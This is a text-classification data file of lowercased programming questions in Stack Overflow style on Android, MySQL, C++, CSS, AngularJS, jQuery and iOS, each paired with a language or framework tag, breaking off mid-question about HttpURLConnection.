accessing <declare-styleable> resources programatically  i ve one question where i couldn t find any help:    is it possible  to receive the resource-ids being kept by a as an int[] programatically without refering to the resource-class r     <pre><code>&lt;declare-styleable name= com_facebook_login_view &gt;     &lt;attr name= confirm_logout  format= boolean /&gt;     &lt;attr name= fetch_user_info  format= boolean /&gt;     &lt;attr name= login_text  format= string /&gt;     &lt;attr name= logout_text  format= string /&gt; &lt;/declare-styleable&gt; </code></pre>   the problem is that i cannot resolve the id of the defined  declare-styleable  attribute - 0x00 is always returned:   <pre><code>int id = context.getresources().getidentifier(  com_facebook_login_view    declare-styleable   context.getpackagename() );  int[] resourceids = context.getresources().getintarray( id ); </code></pre>   any idea would be greatly appreciated! :)    thanks in advance!    christopher,android
sql: count # rows between step a and step b  in process flow   so i m new to sql and trying to learn the syntax of this.  i know theorietically what i need to do  but do not know the specifics.    goal:  find # of rows between two steps in a process flow for a given lot#. so i need to query the inventory data base to find current step for the lot  then feed that into a query against the flow plan  and count the rows between current step and end step.   <pre><code>select lotid  step# from currentinventory where lotid =  lota  </code></pre>   --> this outputs a single row  the current step#   <pre><code>select step# from flowplan order by step# </code></pre>   --> this outputs the entire flow plan  for example step#:  aa1000 to aa9555.    i need to find the # of steps between aa6378 and currentstep.    any tips,mysql
change background image fade  i have an imageview background which changes on swipes. currently it changes instantly  but can i use a fade effect so that the next image fades into view     i have found some results when searching  but mostly in java,objective-c
selecting right tools for iphone app dev  i have been surfing the web to find the best to develop small iphone app on windows xp sp3.    question :- is it possible to develop a simple iphone application  that connects to mssql database gets the data and displays in iphone app.    can anybody please suggest the right tools to select..    thanks a lot for suggestions..,iphone
how do i eliminate a duplicated nested sql query   i have a query along the lines of:   <pre><code>select      itemcount       (select sum(itemcount) where &lt;5-item conditional&gt;) as itemtotal      jobsize      (select sum(jobsize) where &lt;same 5-item conditional&gt;) as jobtotal ... </code></pre>   and duplicating the test sticks in my craw. is there any way around this,sql
how do i read long lines from a text file in c++   i am using the following code for reading lines from a text-file. what is the best method for handling the case where the line is greater than the limit size_max_line    <pre><code>void textfilereader::read(string infilename) {     ifstream xinfile(infilename.c_str());     if(!xinfile){         return;     }      char acline[size_max_line + 1];      while(xinfile){         xinfile.getline(acline  size_max_line);         if(xinfile){             m_sstream.append(acline); //appending read line to string         }     }      xinfile.close(); } </code></pre>,c++
exception java.util.list.size() raised for unknown reason  following exception is thrown:       <pre><code>java.lang.nullpointerexception: attempt to invoke interface method  int java.util.list.size()  on a null object reference                                                                                       at android.widget.simpleadapter.getcount(simpleadapter.java:100)                                                                                       at android.widget.listview.setadapter(listview.java:491)                                                                                       at android.app.listactivity.setlistadapter(listactivity.java:265)                                                                                       at com.example.example.feed.activityfeedactivity$getstudents.onpostexecute(activityfeedactivity.java:93)                                                                                       at com.example.example.feed.activityfeedactivity$getstudents.onpostexecute(activityfeedactivity.java:47)                                                                                       at android.os.asynctask.finish(asynctask.java:651)                                                                                       at android.os.asynctask.-wrap1(asynctask.java)                                                                                       at android.os.asynctask$internalhandler.handlemessage(asynctask.java:668)                                                                                       at android.os.handler.dispatchmessage(handler.java:102)                                                                                       at android.os.looper.loop(looper.java:148)                                                                                       at android.app.activitythread.main(activitythread.java:5417)                                                                                       at java.lang.reflect.method.invoke(native method)                                                                                       at com.android.internal.os.zygoteinit$methodandargscaller.run(zygoteinit.java:726)                                                                                       at com.android.internal.os.zygoteinit.main(zygoteinit.java:616) </code></pre>   code:   <pre><code>import android.app.listactivity; import android.app.progressdialog; import android.os.asynctask; import android.os.bundle; import android.util.log; import android.widget.listadapter; import android.widget.simpleadapter;  import org.json.jsonarray; import org.json.jsonexception; import org.json.jsonobject;  import java.util.arraylist; import java.util.hashmap;   public class activityfeedactivity extends listactivity {      // url to get contacts json     private static string url =  https://raw.githubusercontent.com/mobilesiri/json-parsing-in-android/master/index.html ;      // json node names     private static final string tag_studentinfo =  studentsinfo ;     private static final string tag_id =  id ;     private static final string tag_name =  name ;     private static final string tag_email =  email ;     private static final string tag_address =  address ;     private static final string tag_gender =  gender ;     private static final string tag_phone =  phone ;     private static final string tag_phone_mobile =  mobile ;     private static final string tag_phone_home =  home ;      @override     protected void oncreate(bundle savedinstancestate) {         super.oncreate(savedinstancestate);         setcontentview(r.layout.activity_activityfeed);          // calling async task to get json         new getstudents().execute();     }      /**      * async task class to get json by making http call      */     private class getstudents extends asynctask&lt;void  void  void&gt; {          // hashmap for listview         arraylist&lt;hashmap&lt;string  string&gt;&gt; studentlist = new arraylist&lt;hashmap&lt;string  string&gt;&gt;();;         progressdialog pdialog;          @override         protected void onpreexecute() {             super.onpreexecute();             // showing progress dialog             pdialog = new progressdialog(activityfeedactivity.this);             pdialog.setmessage( please wait... );             pdialog.setcancelable(false);             pdialog.show();         }          @override         protected void doinbackground(void... arg0) {             // creating service handler class instance             webrequest webreq = new webrequest();              // making a request to url and getting response             string jsonstr = webreq.makewebservicecall(url  webrequest.get);              log.d( response:     &gt;   + jsonstr);              studentlist = parsejson(jsonstr);              return null;         }          @override         protected void onpostexecute(void result) {             super.onpostexecute(result);             // dismiss the progress dialog             if (pdialog.isshowing())                 pdialog.dismiss();             /**              * updating parsed json data into listview              * */             listadapter adapter = new simpleadapter(                     activityfeedactivity.this  studentlist                      r.layout.feed_item  new string[]{tag_name  tag_email                      tag_phone_mobile}  new int[]{r.id.name                      r.id.email  r.id.mobile});              setlistadapter(adapter);         }      }      private arraylist&lt;hashmap&lt;string  string&gt;&gt; parsejson(string json) {         if (json != null) {             try {                 // hashmap for listview                 arraylist&lt;hashmap&lt;string  string&gt;&gt; studentlist = new arraylist&lt;hashmap&lt;string  string&gt;&gt;();                  jsonobject jsonobj = new jsonobject(json);                  // getting json array node                 jsonarray students = jsonobj.getjsonarray(tag_studentinfo);                  // looping through all students                 for (int i = 0; i &lt; students.length(); i++) {                     jsonobject c = students.getjsonobject(i);                      string id = c.getstring(tag_id);                     string name = c.getstring(tag_name);                     string email = c.getstring(tag_email);                     string address = c.getstring(tag_address);                     string gender = c.getstring(tag_gender);                      // phone node is json object                     jsonobject phone = c.getjsonobject(tag_phone);                     string mobile = phone.getstring(tag_phone_mobile);                     string home = phone.getstring(tag_phone_home);                      // tmp hashmap for single student                     hashmap&lt;string  string&gt; student = new hashmap&lt;string  string&gt;();                      // adding each child node to hashmap key =&gt; value                     student.put(tag_id  id);                     student.put(tag_name  name);                     student.put(tag_email  email);                     student.put(tag_phone_mobile  mobile);                      // adding student to students list                     studentlist.add(student);                 }                 return studentlist;             } catch (jsonexception e) {                 e.printstacktrace();                 return null;             }         } else {             log.e( servicehandler    couldn t get any data from the url );             return null;         }     }  } </code></pre>   if i understand this correctly  there should be data in studentlist parsed from the url when onpostexecute() method executes  so what am i missing that causes the exception to be thrown anyway,android
mysql workbench -- create model with queries  i m new to using workbench (obviously) and have hit a wall already.  how do i create a model using queries     all the tutorials i ve found require me to entire the fields one-by-one and select data type.  i just want to use standard create table etc. queries to build the model quickly.    thank you for your help!,mysql
std::unique_lock<std::mutex> lock(mtx);  error: mtx is not a type    edit: as per @slava s request  edited for more clarity. sorry! edit 2: trying out @ant s suggestion (and i have to admit  i do feel like a bit of an idiot for not trying this earlier)  i moved the statement in question in to the scope of the function proper and that admittedly vague error did go away. thank you kindly  sir/madame!    i am working on a simple game engine  implemented the message bus and am currently working on writing a message logging class that will print all the traffic to a debug log to make my life possibly a bit easier.    now  i ll go ahead and get this out of the way: i am a relatively new programmer and this is honest to goodness my first stab at using mutexes  locks and the like.     here s the section of the class i m having trouble   <pre><code>.        . . . ~logger() {         logrunswitch = false;         _task.join();         _debug.close();     }  private:      // condition variable     condition_variable _lockcondition;      // mutex     mutex _lockmutex;      // create unique lock with mutex     unique_lock&lt;mutex&gt; lock(_lockmutex);      // the  switch  for telling logloop() to log the line     bool logloopswitch = false;      // the temporary string to store the messages in     string messagetolog;      // loop to log all traffic going through the message bus  is to be run in its own detached thread     void logloop( auto progstart ) { . . . </code></pre>   my intention is to have the function <strong>logloop()</strong> run in its own dedicated thread  called by the constructor of the class  and print the messages going across the message bus in to a file named  debug.log .    the reason i included <code>unique_lock&lt;mutex&gt; lock(_lockmutex);</code> is so i could run with a condition variable  having the loop only actively  well  loop when there are messages to be stored in the above file.     the part <em>specifically</em> that i m having trouble with is the line:   <pre><code>unique_lock&lt;mutex&gt; lock(_lockmutex); </code></pre>   when i try to compile it (for debugging  as you do)  i run in to this error:   <pre><code>error:  _lockmutex  is not a type </code></pre>   i ve been doing the  ol google tap-dance trying to find a solution to this  and i have found one strange thing:    the reference i was using (from cplusplus.com):   <pre><code>std::mutex mtx;           // mutex for critical section  void print_block (int n  char c) { // critical section (exclusive access to std::cout signaled by lifetime of lck): std::unique_lock&lt;std::mutex&gt; lck (mtx); </code></pre>   is different from the one on cppreference.com:   <pre><code>struct box { explicit box(int num) : num_things{num} {}  int num_things; std::mutex m; };  void transfer(box &amp;from  box &amp;to  int num) {     // don t actually take the locks yet     std::unique_lock&lt;std::mutex&gt; lock1(from.m  std::defer_lock);     std::unique_lock&lt;std::mutex&gt; lock2(to.m  std::defer_lock); </code></pre>   so  i suppose  my question is this: which one should i trust and follow  is one of them outdated  why are they so different     thanks in advance!,c++
list all file from folder and subfolder in drive using c#  i want to list all files in drive and i m also trying this code in c#. but i get unaurthorizedfileaccess exception. plzz give me right solution so i can go ahead in my work....   <pre><code>try {     var files = new list&lt;string&gt;(directory.getfiles( e:\    *.*   searchoption.alldirectories));     method(files);            } catch(exception e) {     console.writeline(e); } </code></pre>    <pre><code>static void method(list&lt;string&gt; files) {     foreach (string file in files)     {         console.writeline(file);     }     console.writeline(files.count); } </code></pre>,c#
html won t run because of changed filenames  i m only a newbie so i need help. my teacher told us to make a website with six web pages. she told us not to publish it and just send it to her on fb.    the problem is.. when i have already finished it  i decided to try if the website would run on another computer. i sent it to myself (fb messenger) and downloaded the webpages and the pictures. it didn t run. and it s because the filenames have changed. like for example  the original filename and the one that i encoded is music shop.html  when dloaded  it turned to music-shop.html.    and also the pictures! i don t know what to do. it s due tomorrow. help please,html
converting a deb file to an ipa  id like to use some 3rd party software from cydia but a lot of the extensions are in .deb  is there a way to convert them to ipas so i cna use iresign to sign them with my developer distribution cert,ios
how to enable mobile network( 3g/4g ) in ios by program   i am developing in ios. i want to enable mobile network( 3g/4g ) by program:    does it need to jb      how to enable mobile network( 3g/4g ) in ios by program      thanks in advance.,ios
type error: float object is not callable  getting the error in python when i am executing <code>max(2 3)</code>   <pre><code>&gt;&gt;&gt; max(2 3) traceback (most recent call last):    file  &lt;console&gt;   line 1  in   typeerror:  float  object is not callable </code></pre>   is there any syntax problem,python
css selecting all elements with a class inside a <body> with a class  i m using a cms(joomla)  and they allow me to put a class for a  tag and then i can modify the css for just that particular page.    i m trying to use <a href= https://developer.mozilla.org/en-us/docs/web/css/descendant_selectors  rel= nofollow noreferrer >mdn</a> to find the answer but i couldn t exactly get it to work the way i wanted.    here is the jsfiddle they had on their page  i was messing around with it: <a href= https://jsfiddle.net/amvz5dkb/13/  rel= nofollow noreferrer >https://jsfiddle.net/amvz5dkb/13/</a>   <pre><code>&lt;div class= divclass &gt;   &lt;span class= spanclass &gt;span #1  in the div.     &lt;span= betterspanclass &gt;span #2  in the span that s in the div.&lt;/span&gt;         &lt;span= betterspanclass &gt;span #3  in the span 1.&lt;/span&gt;   &lt;/span&gt; &lt;/div&gt; &lt;span&gt;span #4  not in the div at all.&lt;/span&gt; </code></pre>   and here is my css   <pre><code>.divclass &gt;  .betterspanclass {   background-color: red; } </code></pre>   this doesn t work  only    <pre><code>.divclass &gt; span {   background-color: red; } </code></pre>   seems to have an effect but it doesn t affect span 3 at all  only span 1 and span 2. i want to make the background red for every betterspanclass inside divclass. is this possible,css
impose an empty frame as a replacement for an image  how can i force an empty frame of specified size in html if an image is not found   for example  suppose i have an image i know to be 100x100  but the image is not found at the specified url. yet  i would still like to have an empty frame 100x100.    i tried setting <code>&lt;img src= whatever  width= 100  height= 100  /&gt;</code>  as well as via css   but it does not work. if the image is not found  nothing is displayed.,html
can the browser  forward  button be set from html   example: at the bottom of the stackover questions page are a bunch of page numbers (1 2 3...)  enclosed in a set of <em>prev</em> and <em>next</em> buttons. clicking <em>next</em> repeatedly will bring me to  say page 5  at which point i will have:   <ul> <li>the page s <em>prev</em> button will be set to  <a href= https://stackoverflow.com/questions page=4 >https://stackoverflow.com/questions page=4</a>   </li> <li>the <em>back</em> button on my browser will have the same value.  </li> <li>the page s <em>next</em> button will be set to  <a href= https://stackoverflow.com/questions page=6 >https://stackoverflow.com/questions page=6</a>   </li> <li>the <em>forward</em> button on my browser - won t be set to anything.  </li> </ul>   obviously  if i hit the <em>back</em> button on the browser  then <em>forward</em> will have a value  pointing to the url for page 5 - but not otherwise.    is there any way  from html (plus javascript)  to set the value of the browser s <em>forward</em> button  or is this one of those things that html is simply forbidden to do,html
angularjs expression returns wrong value  i think i m not seeing the wood for the trees right now. this is my html code  that should show the business hours if the values aren t left empty.   <pre><code>&lt;div class= lokalinfo  ng-if= lokal.openbegin != null &amp;&amp; lokal.openend != null || lokal.openbegin2 != null &amp;&amp; lokal.openend2 != null &gt;     öffnungszeiten:&lt;br/&gt;     &lt;span ng-if= lokal.openbegin != null &amp;&amp; lokal.openend != null &gt;{{lokal.openbegin}} - {{lokal.openend}}&lt;/span&gt;     &lt;span ng-if= lokal.openbegin2 != null &amp;&amp; lokal.openend2 != null &gt;{{lokal.openbegin2}} - {{lokal.openend2}}&lt;/span&gt; &lt;/div&gt; </code></pre>   this is how one entry in my array looks like (excerpt):   <pre><code>{ openbegin : 11:00   openend : 13:00   openbegin2 : 15:00   openend2 : 00:00 } </code></pre>   now openbegin and openend are working just fine  but openbegin2 and openend2 don t  the expression in the ngif directive returns false  as if those values were null.    it s probably just some stupid little mistake but i cannot find it ...,angularjs
got stuck with mysql query  i m really having some issues with a mysql query:    here is the tables:    table advise   <pre><code>idadvise idobject1 idobject2 iduser </code></pre>  <hr>   table objects   <pre><code>idobject title image </code></pre>  <hr>   table users   <pre><code>iduser username </code></pre>   the result i m looking for is:   <pre><code>advise.idadvise | objects.title as object1 | objects.image as objectimage1 | objects.title as object2 | objects.image as objectimage2 | advise.iduser | users.username </code></pre>   is it possible to have 2 different object info from object table with different id matching  where object1 refers to idobject1 and object2 to idobject2      or should i add those informations in the advise table      thanks anyone!,mysql
check if any values in array are equal to each other  i m validating a form that submits up to 3 different id s depending on what the user selects.    i ve put them into an array:    <pre><code>$submitted_genres = array($_post[ genre1 ]  $_post[ genre2 ]  $_post[ genre3 ]); </code></pre>   how i can check to make sure that none of the array values are equal each other,php
mysql friends list two way check with only user id  how do i check if both user and friend have accepted the request  having only the user_id component of the query     this is the table;   <pre><code>create table friendships (   user_id int    friend_id int    accepted boolean not null default false    unique key friend (user_id  friend_id)    foreign key (user_id) references users (id)     on delete cascade    foreign key (friend_id) references users (id)     on delete cascade ); </code></pre>   this is my query;   <pre><code> select * from friendships   +      join users   +      on friendships.user_id = users.id   +  where friendships.friend_id =   and accepted = true   </code></pre>   this only checks it one way and <strong>therefore this is still valid when returning a  friend   even though one user has not accepted</strong>;   <pre><code>user_id: 1  friend_id: 2  accepted: 1 user_id: 2  friend_id: 1  accepted: 0 </code></pre>   (notice that one party has not accepted yet)    i want to make sure that both people have accepted it so i don t accidentally load non-friends in with friends - so this and only this should count as a proper friend;   <pre><code>user_id: 1  friend_id: 2  accepted: 1 user_id: 2  friend_id: 1  accepted: 1 </code></pre>   (notice both are accepted)    but i only have the following data being sent through;   <pre><code>user_id: 1 </code></pre>   what s a smart way to fix this  i should use the returned result and re-query for each friend  right,mysql
"this html code won t render  <div class= snippet  data-lang= js  data-hide= false >
 <div class= snippet-code >
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;html&gt;
   &lt;head&gt;
     &lt;title&gt;quicklinks&lt;/title&gt;
     &lt;style&gt;
         body{
         overflow: all;
         width: 100px;
         height: 100px;    
         }
         a{
         color: blue;
         text-decoration: none;
         }
     &lt;/head&gt;
     &lt;body&gt;
         &lt;a href= popup.html &gt;back to main&lt;/a&gt;
             &lt;hr id= 85 &gt;
         
             &lt;hr id= 85 &gt;
         &lt;div id= 83 &gt;
           &lt;a href= https://github.com/jhoyne/quicklinks/issues  target= _blank &gt;issues&lt;/a&gt;
       &lt;/div&gt;
     &lt;/body&gt;
 &lt;/html&gt;</code></pre>
 </div>
 </div>
     will not render in chrome. not sure about others. file is saved as google.html and it is for a directory style chrome extension and will not render anywhere within chrome.",html
sorting in not working in angularjs using ng-repeat  i am not able to sort my table if i am using ng-repeat to create header. <br> i have listed my issue at <a href= http://plnkr.co/edit/5vjsrdrltfgxhvqhvkwa p=preview  rel= nofollow >http://plnkr.co/edit/5vjsrdrltfgxhvqhvkwa p=preview</a> <br> on click of header table sorting should happen  but it is not working fine. <br>   <h2>html code :</h2>  <pre><code>  &lt;table border= 1 &gt;     &lt;thead&gt;       &lt;tr&gt;         &lt;th ng-repeat= key in getkeysofcollection(colors[0])  ng-click= predicate = key; reverse=!reverse; &gt;           {{key}}         &lt;/th&gt;       &lt;/tr&gt;       &lt;tr&gt;         &lt;th ng-repeat= key in getkeysofcollection(colors[0]) &gt;           &lt;input type= text  ng-model= search[key]   /&gt;         &lt;/th&gt;       &lt;/tr&gt;     &lt;/thead&gt;     &lt;tbody&gt;         &lt;tr ng-repeat= item in colors | filter:search | orderby:predicate:reverse &gt;           &lt;td ng-repeat= key in getkeysofcollection(item) &gt;{{item[key]}}&lt;/td&gt;         &lt;/tr&gt;      &lt;/tbody&gt;   &lt;/table&gt; </code></pre>  <h2>js code :</h2>  <pre><code>  $scope.search = {};    $scope.colors = [{      id : 1       productid : 1001       productname :  prd 1        minimumlevel : 2       price : 12.50       productdate :  2014-11-01t06:41:30.809z    }  {      id : 2       productid : 1002       productname :  prd 2        minimumlevel : 23       price : 12.54       productdate :  2014-11-02t06:41:30.809z    }  {      id : 3       productid : 1003       productname :  prd 3        minimumlevel : 2       price : 12.50       productdate :  2014-11-04t06:41:30.809z    }  {      id : 4       productid : 1004       productname :  prd 4        minimumlevel : 2       price : 12.50       productdate :  2014-11-22t06:41:30.809z    }  {      id : 5       productid : 1005       productname :  prd 5        minimumlevel : 2       price : 12.50       productdate :  2014-11-18t06:41:30.809z    }];    $scope.getkeysofcollection = function(obj) {     obj = angular.copy(obj);     if (!obj) {       return [];     }     return object.keys(obj);   } </code></pre>,angularjs
how to prevent events from being bound multiple times <pre><code> $( .ajax ).click  (             function()     {         // if been bound then we need to return here.         alert( :d );     }  )   $( .ajax ).click  (     function()     {         // if been bound then we need to return here.         alert( :d );     }  ) </code></pre>   in this case  i have called duplicate code. how do i detect if the event has been bound to prevent it from triggering two alert boxes,jquery
my timer doesn t count properly  currently working on a simple pomodoro clock  but i have encountered a problem that i can not solve. when you press the start button  the timer counts down the time  however  it changes the mode in 00:01  not 00:00 as it is. can someone peek and suggest what causes this error    <pre><code>  var flag = false;   var timer;   var work = 2;   var count = 0;   var breaktime = 3;   var worktime = 4;   var active =  break ;    $( .mins ).html(updatenum(work));   $( .secs ).html(updatenum(count));   $( .session-minutes ).html(work);  function worktimer() {    if(count &lt; 0) {     work--;     count = 2;   }   else if (work == 0 &amp;&amp; count == 0) {      if(active ===  work ) {       $( .timer-header ).html( work time! );       work = worktime;       $( .mins ).html(updatenum(work));       return active =  break ;     }     if (active ===  break ) {       $( .timer-header ).html( break time! );       console.log(active);       work = breaktime;       $( .mins ).html(updatenum(work));       return active =  work ;     }   }    $( .mins ).html(updatenum(work));   $( .secs ).html(updatenum(count));   count--; } $( .start-button ).click(function() {   if (flag == false) {      timer=setinterval(worktimer 1000);     $(this).html( stop );     flag = true;     return flag;   }   else if(flag == true){        clearinterval(timer);       $(this).html( start );       flag = false;       return flag;   } })  $( .reset-button ).click(function() {   if(flag == false) {     work = 10;     count = updatenum(0);     $( .mins ).html(work);     $( .secs ).html(count);     clearinterval(timer);   }  })  $( .session-plus ).click(function() {   if(flag == false) {     if (work &lt; 30) {       $( .mins ).html(updatenum(++work));       $( .session-minutes ).html(work);     }    }  })  $( .session-minus ).click(function() {   if(flag == false) {     if (work &gt; 1) {       $( .mins ).html(updatenum(--work));       $( .session-minutes ).html(work);     }   }  })  function updatenum(num) {   if(num &lt; 10 &amp;&amp; num.length != 2) {       return num =  0  + num;   }   else {       return num;   }  } </code></pre>   <a href= https://jsfiddle.net/6vnkgt3h/  rel= nofollow noreferrer >https://jsfiddle.net/6vnkgt3h/</a>,jquery
why do i need a where clause in my insert statement when i have already have an update statement   why do i need a where clause in my insert statement when i already have an update statement  if i have an update statement with a where clause  why do i need an insert statement with a where clause  and vice-versa,sql
mysql inner join vs left join w/ is not null   is there a performance difference in the following    <pre><code>select person.id from person left join address on person.id = address.personid where address.personid is not null </code></pre>   vs   <pre><code>select person.id from person inner join address on person.id = address.personid </code></pre>   this query should show all person id s that have an address record (not all do). the logical thing to do here would be to use an inner join as the second example shows. for reasons that are not entirely important (the query is being generated from a query builder)  i may have to use the first approach.    curious what the impact is. does mysql do a lot of extra work when it left join s and then compares that field against null to reduce the set  maybe that s how inner join works behind the scenes anyway,mysql
shuttle two track secure mobile magstripe reader  how to fetch cvv  account number and expiration date using    shuttle two track secure mobile magstripe reader   in ios,objective-c
why min function with lambda just return 1 parameter   in this following code which i think its has the same semantics but it return different result for me.   <pre><code>a=range(5)  #expression 1  b=min(a key=lambda x:x&lt;3)  print(b)  #output:3  #expression 2  c=[x for x in range(5) if x&lt;3]  print(c)  #output:[0 1 2] </code></pre>   in my option i think that in expression 1 when x in lambda expression <code>x=3 false=(x&lt; 3)</code>  then the function <code>min()</code> can find the value of [true true  false false] in listing <code>a</code> and return value compared to the first value when x&lt;3 is false but i dont sure isn t true.,python
writing math equation in javascript  how would i write this equation in javascript     <a href= http://s32.postimg.org/m0jchfqlw/calculations.jpg  rel= nofollow noreferrer >http://s32.postimg.org/m0jchfqlw/calculations.jpg</a>    this is my attempt at programming it  but i m sure it s wrong.   <pre><code>var mir = parsefloat(($( #aprrate ).val() / 100) / 12); var paymentamount = (mir * $( #amounttofinance ).val())/(1 - math.pow((1 + mir)  -$( #numberofpayments ).val())); $( #paymentamount ).val(paymentamount); </code></pre>   edit: it shows nan in the paymentamount textbox.    if i try this..   <pre><code>var mir = parsefloat((parsefloat($( #aprrate ).val()) / 100) / 12); var paymentamount = (mir * parsefloat($( #amounttofinance ).val()))/(1 - math.pow((1 + mir)  -parseint($( #numberofpayments ) 10).val())); $( #paymentamount ).val(paymentamount); </code></pre>   i get nothing  completely blank.,javascript
objective-c:how to perform a performselector:@selector   well  i m creating a custom sel like:   <pre><code>nsarray *tablearray = [nsarray arraywithobjects:@ aaa   @ bbb   nil]; for ( nsstring *table in tablearray ){     sel customselector = nsselectorfromstring([nsstring stringwithformat:@ abcwith%@   table]);     [self performselector:customselector withobject:0]; } </code></pre>   i got a error: <strong>terminating app due to uncaught exception  nsinvalidargumentexception   reason:  -[sync aaawithaaa]: unrecognized selector sent to instance</strong>    but if i run it with the real method name it works!   <pre><code>[self performselector:@selector(aaawithaaa:) withobject:0]; </code></pre>   how to solve it out  thanks!,objective-c
how can we implement scope for style tag using javascript  i have a style tag defined in head    <pre><code>&lt;html&gt;     &lt;head&gt;         &lt;style&gt;             p             {                 font-size:10pt;                 color:green;             }             div             {                 font-size:16pt;                 color:blue;             }         &lt;/style&gt;     &lt;/head&gt;     &lt;body&gt;         &lt;div class= div1 &gt;             &lt;p&gt; hello p in div1 &lt;/p&gt;             &lt;div&gt; hello div in div1 &lt;/div&gt;         &lt;/div&gt;         &lt;div class= div2 &gt;             &lt;p&gt; hello p in div2 &lt;/p&gt;             &lt;div&gt; hello div in div2 &lt;/div&gt;         &lt;/div&gt;     &lt;/body&gt; &lt;/html&gt; </code></pre>   here i want to add the style tag scope only to the div2.  div1 should not get any of the styles mentioned in the style tag.,html
expected { at end of input  i have moved from java to cpp and am struggling to wrap my head around structuring constructor chaining  which i think is the sourceof my issues.    my header file is as follows:    <pre><code>public: guidedtour(); guidedtour(string id  string desc  double fee  int size  string guide  string date)             : tour(id  desc  fee); </code></pre>   and my cpp file is as follows:   <pre><code> guidedtour(string id  string desc  double fee  int size  string guide  string date)             : tour(id  desc  fee) {                 this-&gt;toursize = size;                 this -&gt;tourguide = guide;                 this -&gt; tourdate = date;                 } </code></pre>   i am getting two errors:   <pre><code>guided_tour.h: in constructor  guidedtour::guidedtour(std::string  std::string  double  int  std::string  std::string) : guided_tour.h:17:25: error: expected  {  at end of input guided_tour.cpp: at global scope: guided_tour.cpp:5:19: error: expected  )  before  id  </code></pre>   any insight here would be much appreciated!,c++
aspx parser/precompiler that generates temporary files  is there a way to change aspx file soure before it is precompiled into temporary files.    i.e. to remove empty spaces and new lines.,asp.net
take (n) characters from a string  i have a string in java  of uncertain length  and i need to take the first 3 and last 3 characters and put them into new strings. is there a simple way to do this,java
conditional statements in query designer report builder 3.0  i am using report builder with excel as my data source. i am having a hard time creating a query text in the query designer. i get errors when i try conditional statements of simple group statements.    i have this statement:   <pre><code> select [flight no] [full name] [date] [selected routing 1] as routing   [selected etd 1] as etd [selected eta 1] as eta  from [sheet1$] </code></pre>   this will return these values:   <pre><code> flight no   full name     date       routing   etd   eta  1           peter hansen  10/1/2012  bne-mel   1755  2020  2           black hansen  10/2/2012  bne-mel   1756  2021+1 </code></pre>   now  i want to create a conditional statement that when eta has a +1 on its number then the date will add 1. so the table should look like these:   <pre><code> flight no   full name     date       routing   etd   eta  1           peter hansen  10/1/2012  bne-mel   1755  2020  2           black hansen  10/3/2012  bne-mel   1756  2021+1 </code></pre>   i seem to get an error when i try to have an sql statement like this in the report builder:   <pre><code> select [flight no] [full name] if([selected eta 1] like  *+*  [date]+1 [date])   as date  [selected routing 1] as routing [selected etd 1] as etd   [selected eta 1] as eta  from [sheet1$] </code></pre>   the error says:   <pre><code> an error occurred while executing the query.  error [42000撛] [microsoft][odbc excel driver] undefined function  if  in expression.  (microsoft sql server report builder)   error [42000撛] [microsoft][odbc excel driver] undefined function  if  in expression.       (aceodbc.dll) </code></pre>   please give me references if possible. thanks!,sql
how to prevent duplicate records  how to prevent duplicate records in time of insertion    need a solution other than setting unique,sql
python strip() multiple characters   i want to remove any brackets from a string. why doesn t this work properly    <pre><code>&gt;&gt;&gt; name =  barack (of washington)  &gt;&gt;&gt; name = name.strip( (){}&lt;&gt; ) &gt;&gt;&gt; print name barack (of washington </code></pre>,python
setting up local notification for a specific est time irrespective of user s default time zone  i want to setup local notification for a specific est time  and user should get the notification irrespective of user s default timezone. lets say  if i want the local notification to arrive at 12:00 noon est  then some one in pacific timezone should also get the notification when it is 12:00 noon est which is 09:00 pst    here is what i have tried to do  but i only get notifications when i set my default timezone to est   <pre><code>uilocalnotification *localnotif = [[uilocalnotification alloc] init];  localnotif.repeatinterval = kcfcalendarunitday; nscalendar *calendar = [nscalendar autoupdatingcurrentcalendar]; nsdate *today = [nsdate date];  nsdatecomponents *datecomponents = [calendar components:( nsyearcalendarunit |       nsmonthcalendarunit |  nsdaycalendarunit )                                                fromdate:today];     nsdatecomponents *datecomps = [[nsdatecomponents alloc] init];  [datecomps setday:datecomponents.day]; [datecomps setmonth:datecomponents.month]; [datecomps setyear:datecomponents.year];  [datecomps sethour:12]; [datecomps setminute:00]; [datecomps setsecond:00];  nsdate  *firedate = [calendar datefromcomponents:datecomps]; localnotif.firedate = firedate; localnotif.timezone = [nstimezone timezonewithname:@ us/eastern ]; localnotif.alertbody = @ daily notification ; localnotif.alertaction = nslocalizedstring(@ view   nil); localnotif.soundname = uilocalnotificationdefaultsoundname;  nsdictionary *infodict = [nsdictionary dictionarywithobject:@ daily notification  forkey:@ acme ]; localnotif.userinfo = infodict;  [[uiapplication sharedapplication] schedulelocalnotification:localnotif]; [localnotif release]; </code></pre>   can someone tell me where am i going wrong.,iphone
modify the font-size for html tag using media queries  i am unable to modify the <strong>font-size</strong> of the body and <strong>html</strong> tag. i m trying to change the texts of my page using <strong>rem</strong> (i understand that this measure is based on the html or body tag  i m not sure). if i use rem  it would simply be enough to modify the size of the font-size in the mentioned tags  and so my content would change in size. i am right  or what is the best practice  thank you very much.   <pre><code>html  body{  font-size: 12px; }  @media (min-width: 576px) {    html  body{   font-size: 12px;  } }  @media (min-width: 768px) {   html{  font-size: 13px;  } }  @media (min-width: 992px) {   html{  font-size: 14px !important;  } }  @media (min-width: 1200px) {  html{   font-size: 15px !important;   }  } </code></pre>   <a href= https://jsfiddle.net/a0s4qt8w/  rel= nofollow noreferrer >https://jsfiddle.net/a0s4qt8w/</a>,css
google provides 2 different examples of httpurlconnection usage - should we call httpurlconnection s disconnect  or inputstream s close   google is providing 2 different examples of <code>httpurlconnection</code> usage.   <h1>calling <code>inputstream</code> s <code>close</code></h1>   <a href= http://developer.android.com/training/basics/network-ops/connecting.html  rel= noreferrer >http://developer.android.com/training/basics/network-ops/connecting.html</a>   <pre><code>// given a url  establishes an httpurlconnection and retrieves // the web page content as a inputstream  which it returns as // a string. private string downloadurl(string myurl) throws ioexception {     inputstream is = null;     // only display the first 500 characters of the retrieved     // web page content.     int len = 500;      try {         url url = new url(myurl);         httpurlconnection conn = (httpurlconnection) url.openconnection();         conn.setreadtimeout(10000 /* milliseconds */);         conn.setconnecttimeout(15000 /* milliseconds */);         conn.setrequestmethod( get );         conn.setdoinput(true);         // starts the query         conn.connect();         int response = conn.getresponsecode();         log.d(debug_tag   the response is:   + response);         is = conn.getinputstream();          // convert the inputstream into a string         string contentasstring = readit(is  len);         return contentasstring;      // makes sure that the inputstream is closed after the app is     // finished using it.     } finally {         if (is != null) {             is.close();         }      } } </code></pre>  